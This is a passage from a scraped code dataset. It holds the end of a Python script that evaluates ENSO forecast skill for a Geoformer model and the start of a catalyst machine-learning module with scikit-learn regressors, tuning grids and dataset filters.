os.walk(file_dir):\r\n for file in files:\r\n if os.path.splitext(file)[1] == \".pkl\":\r\n L.append(os.path.join(root, file))\r\n return L\r\n\r\n\r\n# --------------------------------------------------------\r\nfiles = file_name(\"./model\")\r\nfile_num = len(files)\r\nlead_max = mypara.output_length\r\nadr_datain = (\r\n \"./data/GODAS_group_up150_temp_tauxy_8021_kb.nc\"\r\n)\r\nadr_oridata = \"./data/GODAS_up150m_temp_nino_tauxy_kb.nc\"\r\n# ---------------------------------------------------------\r\nfor i_file in files[: file_num + 1]:\r\n fig1 = plt.figure(figsize=(5, 2.5), dpi=300)\r\n ax1 = fig1.add_subplot(1, 2, 1)\r\n ax2 = fig1.add_subplot(1, 2, 2)\r\n (cut_var_pred, cut_var_true, cut_nino_pred, cut_nino_true,) = func_pre(\r\n mypara=mypara,\r\n adr_model=i_file,\r\n adr_datain=adr_datain,\r\n adr_oridata=adr_oridata,\r\n needtauxy=mypara.needtauxy,\r\n )\r\n # -----------\r\n cut_nino_true_jx = deepcopy(cut_nino_true[(24 - lead_max + 1) :])\r\n cut_nino_pred_jx = deepcopy(cut_nino_pred[:, (24 - lead_max + 1) :])\r\n assert np.mod(cut_nino_true_jx.shape[0], 12) == 0\r\n corr = np.zeros([lead_max])\r\n mse = np.zeros([lead_max])\r\n mae = np.zeros([lead_max])\r\n bb = runmean(cut_nino_true_jx, 3)\r\n for l in range(lead_max):\r\n aa = runmean(cut_nino_pred_jx[l], 3)\r\n corr[l] = np.corrcoef(aa, bb)[0, 1]\r\n mse[l] = mean_squared_error(aa, bb)\r\n mae[l] = mean_absolute_error(aa, bb)\r\n del aa, bb\r\n # -------------figure---------------\r\n ax1.plot(corr, color=\"C0\", linestyle=\"-\", linewidth=1, label=\"Corr\")\r\n ax1.plot(mse ** 0.5, color=\"C2\", linestyle=\"-\", linewidth=1, label=\"RMSE\")\r\n ax1.plot(mae, color=\"C3\", linestyle=\"-\", linewidth=1, label=\"MAE\")\r\n ax1.plot(np.ones(lead_max) * 0.5, color=\"k\", linestyle=\"--\", linewidth=1)\r\n ax1.set_xlim(0, lead_max - 1)\r\n ax1.set_xticks(np.array([1, 5, 10, 15, 20]) - 1)\r\n ax1.xaxis.set_minor_locator(MultipleLocator(1))\r\n ax1.set_xticklabels(np.array([1, 5, 10, 15, 20]), fontsize=9)\r\n ax1.set_xlabel(\"Prediction lead (months)\", fontsize=9)\r\n\r\n ax1.set_ylim(0, 1)\r\n ax1.set_yticks(np.arange(0, 1.01, 0.1))\r\n ax1.set_yticklabels(np.around(np.arange(0, 1.01, 0.1), 1), fontsize=9)\r\n ax1.grid(linestyle=\":\")\r\n # ---------skill contourf\r\n # 1983.1~2021.12\r\n long_eval_yr = 2021 - 1983 + 1\r\n cut_nino_true_jx = runmean(cut_nino_true_jx, 3)\r\n for l in range(lead_max):\r\n cut_nino_pred_jx[l] = runmean(cut_nino_pred_jx[l], 3) # [lead_max,len]\r\n pre_nino_tg = np.zeros([long_eval_yr, 12, lead_max])\r\n for l in range(lead_max):\r\n for i in range(long_eval_yr):\r\n pre_nino_tg[i, :, l] = cut_nino_pred_jx[l, 12 * i : 12 * (i + 1)]\r\n real_nino = np.zeros([long_eval_yr, 12])\r\n for i in range(long_eval_yr):\r\n real_nino[i, :] = cut_nino_true_jx[12 * i : 12 * (i + 1)]\r\n tem1 = deepcopy(pre_nino_tg)\r\n pre_nino_st = np.zeros(pre_nino_tg.shape)\r\n for y in range(long_eval_yr):\r\n for t in range(12):\r\n terget = t + 1\r\n for l in range(lead_max):\r\n lead = l + 1\r\n start_mon = terget - lead\r\n if -12 < start_mon <= 0:\r\n start_mon += 12\r\n elif start_mon <= -12:\r\n start_mon += 24\r\n pre_nino_st[y, start_mon - 1, l] = tem1[y, t, l]\r\n del y, t, l, start_mon, terget, lead, tem1\r\n tem1 = deepcopy(pre_nino_st)\r\n tem2 = deepcopy(real_nino)\r\n nino_skill = cal_ninoskill2(tem1, tem2)\r\n # ---------------figure\r\n ax2.contourf(\r\n nino_skill, levels=np.arange(0, 1.01, 0.1), extend=\"both\", cmap=\"RdBu_r\"\r\n )\r\n ct1 = ax2.contour(nino_skill, [0.5, 0.6, 0.7, 0.8, 0.9], colors=\"k\", linewidths=1)\r\n ax2.clabel(\r\n ct1,\r\n fontsize=8,\r\n colors=\"k\",\r\n fmt=\"%.1f\",\r\n )\r\n ax2.set_xlim(0, lead_max - 1)\r\n ax2.set_xticks(np.array([1, 5, 10, 15, 20]) - 1)\r\n ax2.xaxis.set_minor_locator(MultipleLocator(1))\r\n ax2.set_xticklabels(np.array([1, 5, 10, 15, 20]), fontsize=9)\r\n ax2.set_xlabel(\"Prediction lead (months)\", fontsize=9)\r\n ax2.set_yticks(np.arange(0, 12, 1))\r\n y_ticklabel = [\r\n \"Jan\",\r\n \"Feb\",\r\n \"Mar\",\r\n \"Apr\",\r\n \"May\",\r\n \"Jun\",\r\n \"Jul\",\r\n \"Aug\",\r\n \"Sep\",\r\n \"Oct\",\r\n \"Nov\",\r\n \"Dec\",\r\n ]\r\n ax2.set_yticklabels(y_ticklabel, fontsize=9)\r\n ax2.set_ylabel(\"Month\", fontsize=9)\r\n del tem1, tem2\r\n legend = ax1.legend(\r\n loc=\"lower left\",\r\n ncol=3,\r\n fontsize=5,\r\n )\r\n\r\n _ = ax1.text(x=0.02, y=1.02, s=\"(a)\", fontsize=9)\r\n _ = ax2.text(x=0.02, y=11.24, s=\"(b)\", fontsize=9)\r\n\r\n plt.tight_layout()\r\n plt.savefig(\"./model/test_skill.png\")\r\n # plt.show()\r\n print(\"*************\" * 8)\r\n", "repo_name": "zhoulu327/Code_of_3D-Geoformer", "sub_path": "Code/test_model.py", "file_name": "test_model.py", "file_ext": "py", "file_size_in_byte": 5470, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "85", "api": [{"api_name": "matplotlib.use", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pylab.rc", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.rc", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pylab.rcParams", "line_number": 16, "usage_type": "attribute"}, {"api_name": "matplotlib.pylab", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pylab.rcParams", "line_number": 17, "usage_type": "attribute"}, {"api_name": "matplotlib.pylab", "line_number": 17, "usage_type": "name"}, {"api_name": "os.walk", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "myconfig.mypara.output_length", "line_number": 32, "usage_type": "attribute"}, {"api_name": "myconfig.mypara", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pylab.figure", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 39, "usage_type": "name"}, {"api_name": "func_for_prediction.func_pre", "line_number": 42, "usage_type": "call"}, {"api_name": "myconfig.mypara", "line_number": 43, "usage_type": "name"}, {"api_name": "myconfig.mypara.needtauxy", "line_number": 47, "usage_type": "attribute"}, {"api_name": "myconfig.mypara", "line_number": 47, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 50, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.mod", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 55, "usage_type": "call"}, {"api_name": "my_tools.runmean", "line_number": 56, "usage_type": "call"}, {"api_name": "my_tools.runmean", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.corrcoef", "line_number": 59, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 60, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 76, "usage_type": "call"}, {"api_name": "my_tools.runmean", "line_number": 81, "usage_type": "call"}, {"api_name": "my_tools.runmean", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 88, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 92, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 105, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 106, "usage_type": "call"}, {"api_name": "my_tools.cal_ninoskill2", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pylab.tight_layout", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 151, "usage_type": "name"}, {"api_name": "matplotlib.pylab.savefig", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 152, "usage_type": "name"}]} +{"seq_id": "42329710542", "text": "# Created by Travis Williams\n# Property of the University of South Carolina\n# Jochen Lauterbach Group\n# Contact: travisw@email.sc.edu\n# Project Start: February 15, 2018\n\nfrom TheKesselRun.Code.Plotter import Graphic\nfrom TheKesselRun.Code.Catalyst import CatalystObject, CatalystObservation\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport time\n\nfrom sklearn import tree\nfrom sklearn.ensemble import RandomForestRegressor, AdaBoostRegressor, ExtraTreesRegressor, GradientBoostingRegressor\nfrom sklearn.kernel_ridge import KernelRidge\nfrom sklearn.linear_model import Ridge, Lasso, SGDRegressor\nfrom sklearn.neural_network import MLPRegressor\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom sklearn.svm import SVR\nfrom sklearn.feature_selection import SelectKBest, RFECV, RFE\nfrom sklearn.model_selection import GridSearchCV, RandomizedSearchCV, cross_val_predict, GroupKFold, LeaveOneGroupOut, \\\n LeaveOneOut, learning_curve\nfrom sklearn.metrics import r2_score, mean_absolute_error, mean_squared_error, make_scorer\nfrom sklearn.utils import shuffle\n\nimport ast\n\n\nclass CatalystContainer(object):\n def __init__(self):\n self.catalyst_dictionary = dict()\n self.master_container = pd.DataFrame()\n\n def add_catalyst(self, index, catalyst):\n \"\"\" Check if CatalystObject() exists in self.catalyst_dictionary. Add if not. Append if it does. \"\"\"\n if index in self.catalyst_dictionary:\n for key, obs in self.catalyst_dictionary[index].observation_dict:\n self.catalyst_dictionary[index].add_observation(\n temperature=obs.temerature,\n space_velocity=obs.space_velocity,\n gas=obs.gas,\n gas_concentration=obs.gas_concentration,\n pressure=obs.pressure,\n reactor_number=obs.reactor_number,\n activity=obs.activity,\n selectivity=obs.selectivity\n )\n else:\n self.catalyst_dictionary[index] = catalyst\n\n def build_master_container(self, drop_empty_columns=True, nh3_group=False):\n \"\"\"\n Convert catalyst objects to DataFrame for machine learning through LearnerOrder\n :param drop_empty_columns: Remove unused columns (sometimes kept for continuity with other datasets)\n :param nh3_group: Use outdated NH3 project grouping method\n \"\"\"\n\n\n # Set up catalyst loading dictionary with loadings\n loading_df = pd.read_csv('..\\\\Data\\\\Elements.csv', usecols=['Abbreviation'], index_col='Abbreviation').transpose()\n loading_df.columns = ['{} Loading'.format(ele) for ele in loading_df.columns]\n\n for catid, catobj in self.catalyst_dictionary.items():\n # Reset loading dictionary\n load_df = loading_df.copy()\n\n # Add elements and loading to loading dict\n for ele, wt in catobj.elements_wt.items():\n load_df.loc[catid, '{} Loading'.format(ele)] = wt / 100\n\n for ele, mol in catobj.elements_mol.items():\n load_df.loc[catid, '{} mol%'.format(ele)] = mol / 100\n\n # Create group\n groupdf = pd.DataFrame(catobj.group, index=[catid], columns=['group'])\n\n # Create DF from features\n featdf = pd.DataFrame.from_dict(catobj.feature_dict, orient='index').transpose()\n featdf.index = [catid]\n\n # Create element dictionary\n # eldictdf = pd.DataFrame(catobj.elements_wt.items(), index=[catid], columns=['Element Dictionary']) # Pandas update breaks functionality\n eldictdf = pd.DataFrame('{}'.format(catobj.elements_wt.items()),\n index=[catid],\n columns=['Element Dictionary'])\n\n # Create spectral dictionary\n specdf = pd.DataFrame.from_dict(catobj.spectral_dict, orient='index').transpose()\n if not specdf.empty:\n specdf.index = [catid]\n\n df = pd.concat([load_df, featdf, eldictdf, groupdf, specdf], axis=1)\n\n # Iterate through observations and add catalysts\n for key, obs in catobj.observation_dict.items():\n inputdf = pd.DataFrame.from_dict(obs.to_dict(), orient='index').transpose()\n inputdf.index = [catid]\n\n catdf = pd.concat([df, inputdf], axis=1)\n self.master_container = pd.concat([self.master_container, catdf], axis=0, sort=True)\n\n if drop_empty_columns:\n self.master_container.dropna(how='all', axis=1, inplace=True)\n self.master_container.fillna(value=0, inplace=True)\n\n if nh3_group:\n # Archaic leftover method for how I have been calculating groups. Added as boolean for backcompotibility.\n # TODO migrate to Catalyst (done), and test compatibility (not done)\n df = pd.DataFrame([ele[0] for ele in list(x)] for x in self.master_container['Element Dictionary'].values)\n df = df.loc[:, [14,15,27,28,40,41]]\n df[0] = df.apply(lambda rw: '{}{}'.format(rw[14], rw[15]), axis=1)\n df[1] = df.apply(lambda rw: '{}{}'.format(rw[27], rw[28]).replace('\\'', ''), axis=1)\n df[2] = df.apply(lambda rw: '{}{}'.format(rw[40], rw[41]).replace('\\'', ''), axis=1)\n df['group'] = df.groupby([0,1,2]).ngroup()\n self.master_container['group'] = df['group'].values\n\n # Transfer catalyst ID to column so each index is unique\n self.master_container['ID'] = self.master_container.index\n self.master_container.reset_index(inplace=True, drop=True)\n\nclass SupervisedLearner:\n \"\"\"SupervisedLearner will use catalysts to construct feature-label set and perform machine learning\"\"\"\n\n def __init__(self, version='v00', note=None):\n \"\"\" Initialize Everything \"\"\"\n\n '''Initialize Main Dataframes'''\n self.static_dataset = pd.DataFrame() # Dataset that is never changed and used to reset\n self.dynamic_dataset = pd.DataFrame() # Dataset that is always used as the working dataset\n self.result_dataset = pd.DataFrame() # Dataset for use after testing model\n\n '''Initialize Column Identifiers'''\n self.target_columns = list() # list of columns in dynamic_dataset with target values to be predicted\n self.group_columns = list() # list of column in dynamic_dataset to use for grouping catalysts\n self.hold_columns = list() # list of columns to remove from the feature set during training\n self.drop_columns = list() # features to drop from training dataset permanently\n\n '''Initialize Sub Dataframes'''\n self.hold_df = pd.DataFrame()\n self.features_df = pd.DataFrame()\n self.labels_df = pd.DataFrame()\n\n '''Initialize Variables'''\n self.features = np.empty(1)\n self.labels = np.empty(1)\n self.groups = np.empty(1)\n self.predictions = list()\n self.tau = 0.\n self.uncertainty = list()\n\n '''Initialize ML algorithm'''\n self.machina = None\n\n '''Initialize all options for the algorithm. These are used in naming files.'''\n self.num_element_filter = 0\n self.temperature_filter = None\n self.ammonia_filter = None\n self.ru_filter = None\n self.pressure_filter = None\n self.sv_filter = None\n self.promoter_filter = None\n self.version = version\n self.note = note\n\n '''Initialize and create path, folder, and filename'''\n self.svfl = '..//Results//{version}'.format(version=version)\n self.svnm = '{nm}-{nele}-{temp}'.format(\n nm=version,\n nele=self.num_element_filter,\n temp='{}C'.format(self.temperature_filter) if self.temperature_filter is not None else 'All'\n )\n\n if not os.path.exists(self.svfl):\n os.makedirs(self.svfl)\n os.makedirs('{}\\\\{}'.format(self.svfl, 'trees'))\n os.makedirs('{}\\\\{}'.format(self.svfl, 'figures'))\n os.makedirs('{}\\\\{}'.format(self.svfl, 'htmls'))\n os.makedirs('{}\\\\{}'.format(self.svfl, 'features'))\n os.makedirs('{}\\\\{}'.format(self.svfl, 'eval'))\n\n ''' Add Note text file '''\n if self.note:\n with open('{}\\\\readme.txt'.format(self.svfl), 'w') as txtfl:\n print(self.note, file=txtfl)\n\n '''Initialize Time for run-length statistics'''\n self.start_time = time.time()\n\n # TODO note yet implemented\n def update_note(self):\n filters = '*****FILTERS*****\\n' + 'n_ele: {nele}\\ntemp: {T}\\nammonia: {nh3}\\nru: {ru}\\npressure: {P}' \\\n '\\nspace_velocity: {sv}\\npromoter: {prom}'.format(\n nele=self.num_element_filter, T=self.temperature_filter, nh3=self.ammonia_filter, ru=self.ru_filter,\n P=self.pressure_filter, sv=self.sv_filter, prom=self.promoter_filter)\n\n if isinstance(self.note, str):\n note = self.note + '\\n\\n' + filters\n else:\n note = filters\n\n with open('{}\\\\readme.txt'.format(self.svfl), 'w') as txtfl:\n print(note, file=txtfl)\n\n def set_name_paths(self):\n \"\"\" These paths are used by all methods to save files to the proper location. This method is used to reset\n the save directories in the event of changes to the version or other variables.\n \"\"\"\n\n self.svfl = '..//Results//{version}'.format(version=self.version)\n self.svnm = '{nm}-{nele}-{temp}'.format(\n nm=self.version,\n nele=self.num_element_filter,\n temp='{}C'.format(self.temperature_filter) if self.temperature_filter is not None else 'All'\n )\n\n if not os.path.exists(self.svfl):\n os.makedirs(self.svfl)\n os.makedirs('{}\\\\{}'.format(self.svfl, 'trees'))\n os.makedirs('{}\\\\{}'.format(self.svfl, 'figures'))\n os.makedirs('{}\\\\{}'.format(self.svfl, 'htmls'))\n os.makedirs('{}\\\\{}'.format(self.svfl, 'features'))\n os.makedirs('{}\\\\{}'.format(self.svfl, 'eval'))\n\n def set_learner(self, learner, tuning=False, params='default'):\n \"\"\" Select which ML algorithm the learner should use.\n If tuning is True, then select parameter grid.\n ELse, selects appropriate parameters for ML learner. \"\"\"\n\n learn_selector = {\n 'rfr': RandomForestRegressor,\n 'adaboost': AdaBoostRegressor,\n 'tree': tree.DecisionTreeRegressor,\n 'SGD': SGDRegressor,\n 'neuralnet': MLPRegressor,\n 'svr': SVR,\n 'knnr': KNeighborsRegressor,\n 'krr': KernelRidge,\n 'etr': ExtraTreesRegressor,\n 'gbr': GradientBoostingRegressor,\n 'ridge': Ridge,\n 'lasso': Lasso,\n }\n\n if tuning:\n tuning_parameters = {\n 'rfr': {\n 'n_estimators': [10, 25, 50, 100, 200],\n 'max_features': ['auto', 'sqrt'],\n 'max_depth': [None, 3, 5, 10],\n 'min_samples_split': [2, 5, 10],\n 'min_samples_leaf': [1, 2, 3, 5],\n 'max_leaf_nodes': [None, 5, 20, 50],\n 'min_impurity_decrease': [0, 0.1, 0.4]\n },\n\n 'adaboost': {\n 'base_estimator': [None, tree.ExtraTreeRegressor()],\n 'n_estimators': [10,50,200,500],\n 'learning_rate': [0.5, 1, 2],\n 'loss': ['linear','square','exponential']\n },\n\n 'tree': {\n 'criterion': ['mse', 'mae'],\n 'splitter': ['best','random'],\n 'max_depth': [None, 2, 5],\n 'min_samples_split': [2, 5, 0.1, 0.5],\n 'max_features': ['auto', 'sqrt']\n },\n\n 'SGD': {\n 'loss': ['squared loss', 'huber', 'epsilon_insensitive'],\n 'penalty': ['none','l2','l1','elasticnet'],\n 'alpha': [1e-5, 1e-4, 1e-3, 1e-2],\n 'learning_rate': ['optimal', 'invscaling', 'adaptive'],\n 'eta0': [1e-2, 1e-1, 1],\n 'power_t': [0.05, 0.5, 1.5]\n },\n\n 'neuralnet': {\n 'hidden_layer_sizes': [1, 2, 3, 5, 10],\n 'activation': ['identity', 'logistic', 'tanh', 'relu'],\n 'solver': ['lbfgs'],\n 'alpha': [1e-5, 1e-4, 1e-3, 1e-2],\n 'learning_rate': ['constant', 'invscaling', 'adaptive'],\n 'learning_rate_init': [1e-4, 1e-3, 1e-2],\n # 'power_t': [0.05, 0.5, 1.5],\n 'max_iter': [100, 200, 500],\n 'tol': [1e-5, 1e-4, 1e-3],\n 'momentum': [0.8, 0.9, 0.95, 0.99],\n 'early_stopping': [True],\n # 'n_iter_no_change': [10, 20, 50]\n },\n\n 'svr': {\n 'epsilon': [1e-1, 1e-2, 1e-3],\n 'kernel': ['linear', 'poly', 'rbf'],\n 'gamma': [1, 1e-1, 1e-2, 'auto'],\n # 'degree': [2, 3, 5], # use for full dataset\n 'degree': [2, 3], # use for 3 catalyst set\n 'coef0': [0, 1, 1e-1, 1e1, 1e2, 1e-2],\n 'max_iter': [200]\n },\n\n 'knnr': {\n # 'n_neighbors': [2, 5, 7, 10], # full dat set\n 'n_neighbors': [1, 2, 3, 4], # 3 cat set\n 'weights': ['uniform', 'distance'],\n 'algorithm': ['auto', 'ball_tree', 'kd_tree', 'brute'],\n 'leaf_size': [2, 5, 10, 30, 50],\n 'p': [1, 2, 3],\n },\n\n 'krr': {\n 'alpha': [0.9, 1, 1.1, 1.5],\n 'degree': [2, 3, 5],\n 'coef0': [0, 1, 5],\n },\n\n 'etr': {\n 'n_estimators': [10, 25, 50, 100, 200, 400],\n 'criterion': ['mae'],\n 'max_features': ['auto', 'sqrt', 'log2', 0.2, 0.1, 0.05, 0.01],\n 'max_depth': [None, 3, 5, 10],\n 'min_samples_split': [2, 5, 10],\n 'min_samples_leaf': [1, 2, 3, 5],\n 'max_leaf_nodes': [None, 5, 20, 50],\n 'min_impurity_decrease': [0, 0.1, 0.4]\n },\n\n 'gbr': {\n 'loss': ['ls', 'lad', 'quantile', 'huber'],\n 'learning_rate': [0.05, 0.1, 0.2],\n 'subsample': [0.5, 1],\n 'n_estimators': [25, 100, 500],\n 'max_depth': [None, 3, 5, 10],\n 'criterion': ['friedman_mse', 'mae'],\n 'min_samples_split': [2, 5, 10],\n 'min_samples_leaf': [1, 2, 3, 5],\n 'max_features': ['auto', 'sqrt'],\n 'max_leaf_nodes': [None, 5, 20, 50],\n 'min_impurity_decrease': [0, 0.1, 0.4]\n },\n\n 'ridge': {\n 'alpha': [0.9, 1, 1.1, 1.5],\n 'solver': ['auto','svd','cholesky','lsqr','sparse_cg','sag','saga'],\n },\n\n 'lasso': {\n 'alpha': [0.9, 1, 1.1, 1.5],\n 'fit_intercept': [True, False],\n 'normalize': [True, False],\n 'max_iter': [100, 200, 500, 1000],\n },\n }\n\n self.machina = learn_selector.get(learner, lambda: 'Error')()\n return tuning_parameters.get(learner, lambda : 'Error')\n\n elif isinstance(params, dict):\n self.machina = learn_selector.get(learner, lambda: 'Error')()\n self.machina.set_params(**params)\n\n else:\n\n param_selector = {\n 'rfr': {'n_estimators':25, 'max_depth':10, 'max_leaf_nodes':50, 'min_samples_leaf':1,\n 'min_samples_split':2, 'max_features':'auto', 'bootstrap':True, 'n_jobs':4,\n 'criterion':'mae'},\n 'etr': {'n_estimators': 100, 'min_samples_split': 2, 'min_samples_leaf': 1, 'min_impurity_decrease': 0,\n 'max_leaf_nodes': 50, 'max_features': 'auto', 'max_depth': 10, 'criterion': 'mae'},\n 'etr-uncertainty': {'n_estimators': 500, 'min_samples_split': 5, 'min_samples_leaf': 4, 'min_impurity_decrease': 0,\n 'max_leaf_nodes': 50, 'max_features': 'auto', 'max_depth': 10, 'criterion': 'mae'},\n 'etr-CaMnIn': {'n_estimators': 100, 'min_samples_split': 2, 'min_samples_leaf': 1, 'min_impurity_decrease': 0,\n 'max_leaf_nodes': 50, 'max_features': 'auto', 'max_depth': 10, 'criterion': 'mae'},\n 'etr-old': {'n_estimators': 100, 'min_samples_split': 2, 'min_samples_leaf': 1, 'min_impurity_decrease': 0,\n 'max_leaf_nodes': None, 'max_features': 'sqrt', 'max_depth': 10, 'criterion': 'mae'},\n 'gbr': {'subsample': 0.5, 'n_estimators': 500, 'min_samples_split': 10, 'min_samples_leaf': 3,\n 'min_impurity_decrease': 0, 'max_leaf_nodes': 5, 'max_features': 'sqrt', 'max_depth': 5,\n 'loss': 'ls', 'learning_rate': 0.05, 'criterion': 'mae'},\n 'adaboost': {'base_estimator':RandomForestRegressor(), 'n_estimators':1000},\n 'nnet': {'hidden_layer_sizes':1, 'solver':'lbfgs'},\n 'empty': {},\n 'SGD': {'alpha': 0.01, 'tol': 1e-4, 'max_iter': 1000}\n }\n\n self.machina = learn_selector.get(learner, lambda: 'Error')()\n self.machina.set_params(**param_selector.get(params))\n\n def set_filters(self, element_filter=None, temperature_filter=None, ammonia_filter=None, space_vel_filter=None,\n ru_filter=None, pressure_filter=None, promoter_filter=None):\n \"\"\" Update filters and reset naming convention \"\"\"\n\n if element_filter is not None:\n self.num_element_filter = element_filter\n if temperature_filter is not None:\n self.temperature_filter = temperature_filter\n if ammonia_filter is not None:\n self.ammonia_filter = ammonia_filter\n if ru_filter is not None:\n self.ru_filter = ru_filter\n if pressure_filter is not None:\n self.pressure_filter = pressure_filter\n if space_vel_filter is not None:\n self.sv_filter = space_vel_filter\n if promoter_filter is not None:\n self.promoter_filter = promoter_filter\n\n self.set_name_paths()\n\n def reset_filters(self):\n \"\"\" Set all filter variables to None and reset naming convention \"\"\"\n\n self.num_element_filter = None\n self.temperature_filter = None\n self.ammonia_filter = None\n self.ru_filter = None\n self.pressure_filter = None\n self.promoter_filter = None\n self.sv_filter = None\n\n self.set_name_paths()\n\n def set_temperature_filter(self, T):\n self.temperature_filter = T\n self.set_name_paths()\n\n def load_static_dataset(self, catalyst_container):\n \"\"\" Handoff from catalyst container to supervised learner \"\"\"\n self.static_dataset = catalyst_container.master_container\n self.dynamic_dataset = self.static_dataset.copy()\n\n def filter_static_dataset(self, reset_training_data=True, shuffle_dataset=True):\n \"\"\" Apply all filters to the dataset\n :param reset_training_data: overwrite training dataframes and variables with new values\n :param shuffle_dataset: randomize the order of data within the dynamic dataframe\n \"\"\"\n\n self.reset_dynamic_dataset()\n self.filter_temperatures()\n self.filter_n_elements()\n self.filter_pressure()\n self.filter_concentrations()\n self.filter_ruthenium_loading()\n self.filter_space_velocities()\n self.filter_promoter()\n\n if shuffle_dataset:\n self.shuffle_dynamic_dataset()\n\n if reset_training_data:\n self.set_training_data()\n\n def set_target_columns(self, cols):\n \"\"\" Define measured values for ML algorithm (target values) \"\"\"\n\n if isinstance(cols, list):\n self.target_columns = cols\n else:\n self.target_columns = list(cols)\n\n def set_group_columns(self, cols):\n \"\"\" Define a group column for cross-validation models \"\"\"\n\n if isinstance(cols, list):\n self.group_columns = cols\n else:\n self.group_columns = list(cols)\n\n def set_hold_columns(self, cols):\n \"\"\" Define hold columns - these are informational columns that are excluded from the feature set. \"\"\"\n\n if isinstance(cols, list):\n self.hold_columns = cols\n else:\n self.hold_columns = list(cols)\n\n def set_drop_columns(self, cols):\n \"\"\" Define a drop column - these columns are permenantly removed. \"\"\"\n if isinstance(cols, list):\n self.drop_columns = cols\n else:\n self.drop_columns = list(cols)\n\n def set_training_data(self):\n \"\"\" Use all specified columns to sort data into correct dataframes \"\"\"\n\n self.features_df = self.dynamic_dataset.drop(\n labels=self.target_columns + self.group_columns + self.hold_columns, axis=1)\n self.drop_features()\n\n self.labels_df = self.dynamic_dataset[self.target_columns].copy()\n self.labels = self.labels_df.values\n if self.labels.shape[1] == 1:\n self.labels = np.ravel(self.labels)\n\n self.groups = self.dynamic_dataset[self.group_columns].values\n if self.groups.shape[1] == 1:\n self.groups = np.ravel(self.groups)\n\n self.hold_df = self.dynamic_dataset[self.hold_columns].copy()\n\n def reset_dynamic_dataset(self):\n \"\"\" Copy static dataset onto dynamic to refresh modified data. \"\"\"\n\n self.dynamic_dataset = self.static_dataset.copy()\n\n def filter_n_elements(self):\n \"\"\" Filter by number of elements in the catalyst. \"\"\"\n\n filter_dict_neles = {\n 1: self.dynamic_dataset[self.dynamic_dataset['n_elements'] == 1],\n 2: self.dynamic_dataset[self.dynamic_dataset['n_elements'] == 2],\n 3: self.dynamic_dataset[self.dynamic_dataset['n_elements'] == 3],\n 23: self.dynamic_dataset[(self.dynamic_dataset['n_elements'] == 2) |\n (self.dynamic_dataset['n_elements'] == 3)],\n }\n\n self.dynamic_dataset = filter_dict_neles.get(self.num_element_filter, self.dynamic_dataset)\n\n def filter_temperatures(self):\n \"\"\" Filter by temperature of catalyst observation. \"\"\"\n\n if self.temperature_filter is None:\n self.dynamic_dataset = self.dynamic_dataset[self.dynamic_dataset.loc[:, 'temperature'] != 150]\n elif isinstance(self.temperature_filter, str):\n temp_dict = {\n 'not450': self.dynamic_dataset[(self.dynamic_dataset.loc[:, 'temperature'] != 450) &\n (self.dynamic_dataset.loc[:, 'temperature'] != 150)],\n 'not400': self.dynamic_dataset[(self.dynamic_dataset.loc[:, 'temperature'] != 400) &\n (self.dynamic_dataset.loc[:, 'temperature'] != 150)],\n 'not350': self.dynamic_dataset[(self.dynamic_dataset.loc[:, 'temperature'] != 350) &\n (self.dynamic_dataset.loc[:, 'temperature'] != 150)],\n '350orless': self.dynamic_dataset[(self.dynamic_dataset.loc[:, 'temperature'] != 450) &\n (self.dynamic_dataset.loc[:, 'temperature'] != 400) &\n (self.dynamic_dataset.loc[:, 'temperature'] != 150)],\n '300orless': self.dynamic_dataset[(self.dynamic_dataset.loc[:, 'temperature'] != 450) &\n (self.dynamic_dataset.loc[:, 'temperature'] != 400) &\n (self.dynamic_dataset.loc[:, 'temperature'] != 350) &\n (self.dynamic_dataset.loc[:, 'temperature'] 